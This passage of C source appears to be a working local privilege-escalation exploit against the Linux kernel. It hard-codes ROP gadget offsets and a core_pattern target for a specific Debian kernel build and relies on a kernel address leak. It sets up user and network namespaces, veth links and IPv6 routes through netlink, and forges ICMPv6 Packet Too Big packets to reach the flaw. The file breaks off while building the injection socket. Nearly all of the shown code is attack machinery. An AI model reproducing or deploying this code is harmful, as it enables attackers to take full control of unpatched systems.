1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/fib_rules.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "leak.h"
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define KERNEL_IMAGE_PAGES 22
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x3ed18f58)
/* Debian 6.12.101-1. The first three are intentionally unaligned gadgets. */
#define OFF_PIVOT_RBX UINT64_C(0x5140a9)
#define OFF_POP_RSP_R15 UINT64_C(0xb2942)
#define OFF_FIVE_POP UINT64_C(0x91157)
#define OFF_POP_RSI UINT64_C(0xccc21d)
#define OFF_POP_RDI_RDI UINT64_C(0x8148e0)
#define OFF_WRITE4 UINT64_C(0x2c002e)
#define OFF_CLI_HALT UINT64_C(0x3e28e)
#define OFF_CORE_PATTERN_MODE UINT64_C(0x1d8d7ec)
static uint64_t kernel_slide;
static uint64_t cea;
static uint64_t pivot_rbx;
static uint64_t pop_rsp_r15;
static uint64_t five_pop;
static uint64_t pop_rsi;
static uint64_t pop_rdi_rdi;
static uint64_t write4;
static uint64_t cli_halt;
static uint64_t core_pattern_mode;
static int watcher_arm[2];
static int watcher_ready[2];
static int seeder_ready[2];
static uint32_t sequence;
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void write_file(const char *path, const char *value)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
size_t left = strlen(value);
if (fd < 0)
die(path);
while (left) {
ssize_t written = write(fd, value, left);
if (written < 0) {
if (errno == EINTR)
continue;
die(path);
}
value += written;
left -= (size_t)written;
}
close(fd);
}
static void drop_initial_privileges(void)
{
if (geteuid() == 0) {
if (setgroups(0, NULL) < 0)
die("drop supplementary groups");
if (setresgid(65534, 65534, 65534) < 0 ||
setresuid(65534, 65534, 65534) < 0)
die("drop to nobody");
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("PR_SET_DUMPABLE");
}
printf("[+] initial uid=%u gid=%u\n", getuid(), getgid());
}
static void enter_namespaces(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0)
die("unshare user");
write_file("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_file("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("set namespace uid");
if (unshare(CLONE_NEWNET) < 0)
die("unshare net");
}
static struct rtattr *put_attr(struct nlmsghdr *nlh, size_t capacity,
unsigned short type, const void *data, size_t length)
{
size_t offset = NLMSG_ALIGN(nlh->nlmsg_len);
size_t space = RTA_ALIGN(RTA_LENGTH(length));
struct rtattr *attr;
if (offset + space > capacity) {
errno = EMSGSIZE;
die("netlink attribute");
}
attr = (struct rtattr *)((char *)nlh + offset);
attr->rta_type = type;
attr->rta_len = RTA_LENGTH(length);
if (length)
memcpy(RTA_DATA(attr), data, length);
memset((char *)attr + attr->rta_len, 0, space - attr->rta_len);
nlh->nlmsg_len = offset + space;
return attr;
}
static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t capacity,
unsigned short type)
{
return put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0);
}
static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest)
{
nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest;
}
static void send_ack(int fd, struct nlmsghdr *nlh, const char *what)
{
struct sockaddr_nl kernel = { .nl_family = AF_NETLINK };
char reply[8192];
ssize_t received;
nlh->nlmsg_seq = ++sequence;
if (sendto(fd, nlh, nlh->nlmsg_len, 0,
(struct sockaddr *)&kernel, sizeof(kernel)) !=
(ssize_t)nlh->nlmsg_len)
die(what);
for (;;) {
struct nlmsghdr *response;
int remaining;
received = recv(fd, reply, sizeof(reply), 0);
if (received < 0) {
if (errno == EINTR)
continue;
die(what);
}
remaining = received;
for (response = (struct nlmsghdr *)reply;
NLMSG_OK(response, remaining);
response = NLMSG_NEXT(response, remaining)) {
struct nlmsgerr *error;
if (response->nlmsg_seq != nlh->nlmsg_seq)
continue;
if (response->nlmsg_type != NLMSG_ERROR) {
errno = EPROTO;
die(what);
}
error = NLMSG_DATA(response);
if (error->error) {
errno = -error->error;
die(what);
}
return;
}
}
}
static int open_rtnl(void)
{
struct sockaddr_nl local = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (fd < 0)
die("socket NETLINK_ROUTE");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind NETLINK_ROUTE");
return fd;
}
static void create_veth(int fd, const char *left, const char *right)
{
char buffer[1024] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifinfomsg *ifi;
struct rtattr *linkinfo, *infodata, *peer;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
put_attr(nlh, sizeof(buffer), IFLA_IFNAME, left, strlen(left) + 1);
linkinfo = nest_start(nlh, sizeof(buffer), IFLA_LINKINFO);
put_attr(nlh, sizeof(buffer), IFLA_INFO_KIND, "veth", sizeof("veth"));
infodata = nest_start(nlh, sizeof(buffer), IFLA_INFO_DATA);
peer = nest_start(nlh, sizeof(buffer), VETH_INFO_PEER);
if (nlh->nlmsg_len + NLMSG_ALIGN(sizeof(*ifi)) > sizeof(buffer)) {
errno = EMSGSIZE;
die("veth peer ifinfomsg");
}
memset((char *)nlh + nlh->nlmsg_len, 0, NLMSG_ALIGN(sizeof(*ifi)));
nlh->nlmsg_len += NLMSG_ALIGN(sizeof(*ifi));
put_attr(nlh, sizeof(buffer), IFLA_IFNAME, right, strlen(right) + 1);
nest_end(nlh, peer);
nest_end(nlh, infodata);
nest_end(nlh, linkinfo);
send_ack(fd, nlh, "create veth");
}
static unsigned int set_link_up(int fd, const char *name)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifinfomsg *ifi;
unsigned int index = if_nametoindex(name);
if (!index)
die("if_nametoindex");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = index;
ifi->ifi_flags = IFF_UP;
ifi->ifi_change = IFF_UP;
send_ack(fd, nlh, "set link up");
return index;
}
static void add_address(int fd, unsigned int index)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct ifaddrmsg *ifa;
struct in6_addr address;
if (inet_pton(AF_INET6, "2001:db8::2", &address) != 1)
die("inet_pton address");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifa));
nlh->nlmsg_type = RTM_NEWADDR;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
ifa = NLMSG_DATA(nlh);
ifa->ifa_family = AF_INET6;
ifa->ifa_prefixlen = 64;
ifa->ifa_flags = IFA_F_NODAD;
ifa->ifa_scope = RT_SCOPE_UNIVERSE;
ifa->ifa_index = index;
put_attr(nlh, sizeof(buffer), IFA_LOCAL, &address, sizeof(address));
put_attr(nlh, sizeof(buffer), IFA_ADDRESS, &address, sizeof(address));
send_ack(fd, nlh, "add IPv6 address");
}
static void make_destination(struct in6_addr *destination, unsigned int serial)
{
if (inet_pton(AF_INET6, "2001:db8::", destination) != 1)
die("inet_pton destination");
destination->s6_addr[12] = (serial >> 24) & 0xff;
destination->s6_addr[13] = (serial >> 16) & 0xff;
destination->s6_addr[14] = (serial >> 8) & 0xff;
destination->s6_addr[15] = serial & 0xff;
}
static void add_route(int fd, unsigned int index, uint32_t table)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct rtmsg *rtm;
struct in6_addr destination;
if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
die("inet_pton route");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
nlh->nlmsg_type = RTM_NEWROUTE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
rtm = NLMSG_DATA(nlh);
rtm->rtm_family = AF_INET6;
rtm->rtm_dst_len = 64;
rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
rtm->rtm_protocol = RTPROT_STATIC;
rtm->rtm_scope = RT_SCOPE_LINK;
rtm->rtm_type = RTN_UNICAST;
put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
if (table > 255)
put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
send_ack(fd, nlh, "add IPv6 route");
}
static void delete_route(int fd, unsigned int index, uint32_t table)
{
char buffer[256] = { 0 };
struct nlmsghdr *nlh = (void *)buffer;
struct rtmsg *rtm;
struct in6_addr destination;
if (inet_pton(AF_INET6, "2001:db8::", &destination) != 1)
die("inet_pton route delete");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm));
nlh->nlmsg_type = RTM_DELROUTE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
rtm = NLMSG_DATA(nlh);
rtm->rtm_family = AF_INET6;
rtm->rtm_dst_len = 64;
rtm->rtm_table = table <= 255 ? (uint8_t)table : RT_TABLE_UNSPEC;
rtm->rtm_scope = RT_SCOPE_LINK;
rtm->rtm_type = RTN_UNICAST;
put_attr(nlh, sizeof(buffer), RTA_DST, &destination, sizeof(destination));
put_attr(nlh, sizeof(buffer), RTA_OIF, &index, sizeof(index));
if (table > 255)
put_attr(nlh, sizeof(buffer), RTA_TABLE, &table, sizeof(table));
send_ack(fd, nlh, "delete IPv6 route");
}
static void get_hardware_address(const char *name, unsigned char address[6])
{
struct ifreq request = { 0 };
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket ioctl");
strncpy(request.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &request) < 0)
die("SIOCGIFHWADDR");
memcpy(address, request.ifr_hwaddr.sa_data, 6);
close(fd);
}
static uint32_t checksum_add(uint32_t sum, const void *data, size_t length)
{
const unsigned char *bytes = data;
while (length >= 2) {
sum += ((uint32_t)bytes[0] << 8) | bytes[1];
bytes += 2;
length -= 2;
}
if (length)
sum += (uint32_t)bytes[0] << 8;
return sum;
}
static uint16_t icmp6_checksum(const struct in6_addr *source,
const struct in6_addr *destination,
const void *icmp, size_t length)
{
uint32_t sum = 0;
unsigned char trailer[4] = { 0 };
uint32_t network_length = htonl(length);
sum = checksum_add(sum, source, sizeof(*source));
sum = checksum_add(sum, destination, sizeof(*destination));
sum = checksum_add(sum, &network_length, sizeof(network_length));
trailer[3] = IPPROTO_ICMPV6;
sum = checksum_add(sum, trailer, sizeof(trailer));
sum = checksum_add(sum, icmp, length);
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return htons((uint16_t)~sum);
}
static int create_quoted_udp_flow(const struct in6_addr *destination,
uint32_t mark, uint16_t source_port)
{
struct sockaddr_in6 local = {
.sin6_family = AF_INET6,
.sin6_port = htons(source_port),
};
struct sockaddr_in6 remote = {
.sin6_family = AF_INET6,
.sin6_port = htons(23456),
};
int fd = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("socket quoted UDP flow");
if (mark && setsockopt(fd, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0)
die("SO_MARK quoted UDP flow");
if (inet_pton(AF_INET6, "2001:db8::2", &local.sin6_addr) != 1)
die("inet_pton UDP flow");
remote.sin6_addr = *destination;
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die("bind quoted UDP flow");
if (connect(fd, (struct sockaddr *)&remote, sizeof(remote)) < 0)
die("connect quoted UDP flow");
return fd;
}
static void inject_packet_too_big(const struct in6_addr *quoted_destination,
uint16_t quoted_source_port)
{
struct {
struct ethhdr ethernet;
struct ip6_hdr outer;
struct icmp6_hdr icmp;
struct ip6_hdr inner;
struct udphdr udp;
} __attribute__((packed)) packet = { 0 };
struct sockaddr_ll destination = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IPV6),
};
unsigned char edge0_address[6], edge1_address[6];
struct in6_addr outer_source, outer_destination;
int fd;
size_t icmp_length = sizeof(packet.icmp) + sizeof(packet.inner) +
sizeof(packet.udp);
get_hardware_address("edge0", edge0_address);
get_hardware_address("edge1", edge1_address);
memcpy(packet.ethernet.h_dest, edge0_address, sizeof(edge0_address));
memcpy(packet.ethernet.h_source, edge1_address, sizeof(edge1_address));
packet.ethernet.h_proto = htons(ETH_P_IPV6);
packet.outer.ip6_flow = htonl(6U << 28);
packet.outer.ip6_plen = htons(icmp_length);
packet.outer.ip6_nxt = IPPROTO_ICMPV6;
packet.outer.ip6_hlim = 64;
if (inet_pton(AF_INET6, "2001:db8::3", &outer_source) != 1 ||
inet_pton(AF_INET6, "2001:db8::2", &outer_destination) != 1)
die("inet_pton outer packet");
memcpy(&packet.outer.ip6_src, &outer_source, sizeof(outer_source));
memcpy(&packet.outer.ip6_dst, &outer_destination,
sizeof(outer_destination));
packet.icmp.icmp6_type = ICMP6_PACKET_TOO_BIG;
packet.icmp.icmp6_code = 0;
packet.icmp.icmp6_mtu = htonl(1280);
packet.inner.ip6_flow = htonl(6U << 28);
packet.inner.ip6_plen = htons(sizeof(packet.udp));
packet.inner.ip6_nxt = IPPROTO_UDP;
packet.inner.ip6_hlim = 64;
if (inet_pton(AF_INET6, "2001:db8::2", &packet.inner.ip6_src) != 1)
die("inet_pton inner packet");
packet.inner.ip6_dst = *quoted_destination;
packet.udp.uh_sport = htons(quoted_source_port);
packet.udp.uh_dport = htons(23456);
packet.udp.uh_ulen = htons(sizeof(packet.udp));
packet.icmp.icmp6_cksum = icmp6_checksum(&outer_source,
&outer_destination,
&packet.icmp, icmp_length);
destination.sll_ifindex = if_nametoindex("edge1");
if (!destination.sll_ifindex)
die("if_nametoindex edge1");
memcpy(destination.sll_addr, edge0_address, sizeof(edge0_address));
destination.sll_halen = ETH_ALEN;
fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IPV6));
if (fd < 0)
die("socket AF_PACKET");
|